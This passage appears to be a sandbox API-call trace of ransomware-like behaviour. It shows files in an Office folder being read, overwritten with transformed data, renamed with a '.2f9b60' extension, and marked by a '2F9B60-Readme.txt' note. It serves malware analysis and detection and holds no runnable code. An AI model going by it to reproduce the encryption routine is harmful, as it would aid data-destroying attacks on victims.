lpNewFilePointer=0x0) returned 1 [0157.412] ReadFile (in: hFile=0x1080, lpBuffer=0x36fcf780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36fcf7c8, lpOverlapped=0x0 | out: lpBuffer=0x36fcf780*, lpNumberOfBytesRead=0x36fcf7c8*=0x4, lpOverlapped=0x0) returned 1 [0157.413] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1460 [0157.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac14f0 [0157.414] NtQuerySystemTime (in: CurrentTime=0x36fcf6c0 | out: CurrentTime=0x36fcf6c0*=132462177625438000) returned 0x0 [0157.414] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x5c6c1bc0 [0157.414] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x49b622fd [0157.414] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x5e6dca7c [0157.414] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x60dba4e6 [0157.414] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x4f504baf [0157.414] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x20777721 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x40b2c871 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x37999f6d [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0xb799045 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x68acb9fe [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x7a9b6a7c [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x23d06621 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x758609d3 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x204c9e61 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x5a5162c7 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x6b855463 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x34ed2d7c [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x17195e40 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x7fb6b773 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x4b8308ef [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x4752cd04 [0157.415] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x76d562ec [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x6d927412 [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x1abf271a [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x2973111c [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x661137d8 [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x2e87a084 [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x60f87711 [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x63a72b81 [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0xe635418 [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x5da9b6d [0157.416] RtlRandomEx (in: Seed=0x36fcf6b0 | out: Seed=0x36fcf6b0) returned 0x6e204865 [0157.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1520 [0157.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6c20 [0157.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1550 [0157.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6c20) returned 1 [0157.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac14f0) returned 1 [0157.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb10 [0157.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6c20 [0157.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b392c0 [0157.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b3ced0 [0157.430] ReadFile (in: hFile=0x1080, lpBuffer=0x42b392c0, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x36fcf6b0, lpOverlapped=0x0 | out: lpBuffer=0x42b392c0*, lpNumberOfBytesRead=0x36fcf6b0*=0x280, lpOverlapped=0x0) returned 1 [0157.430] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.430] WriteFile (in: hFile=0x1080, lpBuffer=0x42b3ced0*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x36fcf6b4, lpOverlapped=0x0 | out: lpBuffer=0x42b3ced0*, lpNumberOfBytesWritten=0x36fcf6b4*=0x280, lpOverlapped=0x0) returned 1 [0161.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f10 [0161.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f40 [0161.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f40) returned 1 [0161.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b3ced0) returned 1 [0161.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b392c0) returned 1 [0161.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6c20) returned 1 [0161.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb10) returned 1 [0161.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4f40 [0161.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb10 [0161.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6c20 [0161.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f70 [0161.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f70) returned 1 [0161.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4f70 [0161.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4fa0 [0161.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4fd0 [0161.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4fd0) returned 1 [0161.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6c20) returned 1 [0161.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb10) returned 1 [0161.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a8d70 [0161.687] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.687] WriteFile (in: hFile=0x1080, lpBuffer=0x423a8d70*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x36fcf7d0, lpOverlapped=0x0 | out: lpBuffer=0x423a8d70*, lpNumberOfBytesWritten=0x36fcf7d0*=0x106, lpOverlapped=0x0) returned 1 [0163.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab790 [0163.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab790) returned 1 [0163.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d200 [0163.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab790 [0163.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa0b0 [0163.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa0b0) returned 1 [0163.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d7f40 [0163.477] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="80") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="14") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="97") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="35") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="8c") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="ce") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="35") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="11") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="59") returned 2 [0163.477] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.477] RtlInitAnsiString (in: DestinationString=0x36fcf848, SourceString="0e80e3145b97355f8cce355d7d2e8e4f11d3599f" | out: DestinationString="0e80e3145b97355f8cce355d7d2e8e4f11d3599f") [0163.477] RtlAnsiStringToUnicodeString (in: DestinationString=0x36fcf818, SourceString="0e80e3145b97355f8cce355d7d2e8e4f11d3599f", AllocateDestinationString=1 | out: DestinationString="0e80e3145b97355f8cce355d7d2e8e4f11d3599f") returned 0x0 [0163.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86a30 [0163.478] RtlFreeAnsiString (AnsiString="0") [0163.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab790) returned 1 [0163.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8d70) returned 1 [0163.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f70) returned 1 [0163.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4fa0) returned 1 [0163.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f40) returned 1 [0163.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f10) returned 1 [0163.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1460) returned 1 [0163.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1520) returned 1 [0163.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1550) returned 1 [0163.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb6010 [0163.480] wcscat (in: _Dest=0x1cdb6010, _Source="0e80e3145b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e80e3145b") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e80e3145b" [0163.481] wcscat (in: _Dest=0x1cdb6010, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e80e3145b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e80e3145b.2f9b60" [0163.481] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e80e3145b.2f9b60", NtPathName=0x36fcf7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e80e3145b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce236a0 [0209.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce236a0) returned 1 [0209.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c29740) returned 1 [0209.165] NtQueryInformationFile (in: FileHandle=0x1080, IoStatusBlock=0x36fcf858, FileInformation=0x36fcf868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36fcf858, FileInformation=0x36fcf868) returned 0x0 [0209.165] NtSetInformationFile (FileHandle=0x1080, IoStatusBlock=0x36fcf858, FileInformation=0x36fcf868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb6010) returned 1 [0216.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86a30) returned 1 [0216.538] FlushFileBuffers (hFile=0x1080) returned 1 [0216.539] CloseHandle (hObject=0x1080) returned 1 [0222.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0330 [0222.529] wcscpy (in: _Dest=0x202b0330, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0222.529] wcscat (in: _Dest=0x202b0330, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0222.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0222.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0330) returned 1 [0222.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4140) returned 1 Thread: id = 2660 os_tid = 0x21fc [0157.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg")) returned 0x20 [0157.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG", dwFileAttributes=0x20) returned 1 [0157.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa8c [0157.434] GetFileSizeEx (in: hFile=0xa8c, lpFileSize=0x3afef820 | out: lpFileSize=0x3afef820*=668) returned 1 [0157.434] SetFilePointerEx (in: hFile=0xa8c, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.435] ReadFile (in: hFile=0xa8c, lpBuffer=0x3afef7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3afef7e8, lpOverlapped=0x0 | out: lpBuffer=0x3afef7a0*, lpNumberOfBytesRead=0x3afef7e8*=0x4, lpOverlapped=0x0) returned 1 [0157.436] SetFilePointerEx (in: hFile=0xa8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac14f0 [0157.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1580 [0157.436] NtQuerySystemTime (in: CurrentTime=0x3afef6e0 | out: CurrentTime=0x3afef6e0*=132462177625750000) returned 0x0 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x766020c4 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x611282fa [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x38c17b21 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x1277999 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x65d52bfd [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x4a844cea [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x4ebb4c93 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x6f79931e [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x6699fa8 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x717a912d [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x4fc45ab1 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x421531da [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x7e5b537e [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x765c76d [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x26302deb [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x13363653 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x3edc25e3 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x758b3386 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x55596792 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x47a89387 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x22d31c8b [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0xf5c25f7 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x3285077f [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x75a1abd4 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x454953cf [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x418e868d [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x1f1fc20f [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x30ce16a7 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x1d2e8bb6 [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x74bf88e [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x118267ff [0157.437] RtlRandomEx (in: Seed=0x3afef6d0 | out: Seed=0x3afef6d0) returned 0x15e8cbc6 [0157.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac15b0 [0157.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ca0 [0157.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac15e0 [0157.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ca0) returned 1 [0157.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1580) returned 1 [0157.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb60 [0157.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ca0 [0157.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b40ae0 [0157.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b449e0 [0157.458] ReadFile (in: hFile=0xa8c, lpBuffer=0x42b40ae0, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0x3afef6d0, lpOverlapped=0x0 | out: lpBuffer=0x42b40ae0*, lpNumberOfBytesRead=0x3afef6d0*=0x29c, lpOverlapped=0x0) returned 1 [0157.458] SetFilePointerEx (in: hFile=0xa8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.458] WriteFile (in: hFile=0xa8c, lpBuffer=0x42b449e0*, nNumberOfBytesToWrite=0x29c, lpNumberOfBytesWritten=0x3afef6d4, lpOverlapped=0x0 | out: lpBuffer=0x42b449e0*, lpNumberOfBytesWritten=0x3afef6d4*=0x29c, lpOverlapped=0x0) returned 1 [0161.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4e50 [0161.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4e80 [0161.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4e80) returned 1 [0161.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b449e0) returned 1 [0161.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b40ae0) returned 1 [0161.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ca0) returned 1 [0161.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb60) returned 1 [0161.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4e80 [0161.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb60 [0161.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ca0 [0161.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4eb0 [0161.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4eb0) returned 1 [0161.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4eb0 [0161.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4ee0 [0161.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f10 [0161.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f10) returned 1 [0161.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ca0) returned 1 [0161.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb60) returned 1 [0161.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a8c60 [0161.682] SetFilePointerEx (in: hFile=0xa8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.682] WriteFile (in: hFile=0xa8c, lpBuffer=0x423a8c60*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3afef7f0, lpOverlapped=0x0 | out: lpBuffer=0x423a8c60*, lpNumberOfBytesWritten=0x3afef7f0*=0x106, lpOverlapped=0x0) returned 1 [0163.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0163.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab940) returned 1 [0163.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d200 [0163.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0163.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ac030 [0163.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac030) returned 1 [0163.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.458] RtlAllocateHeap 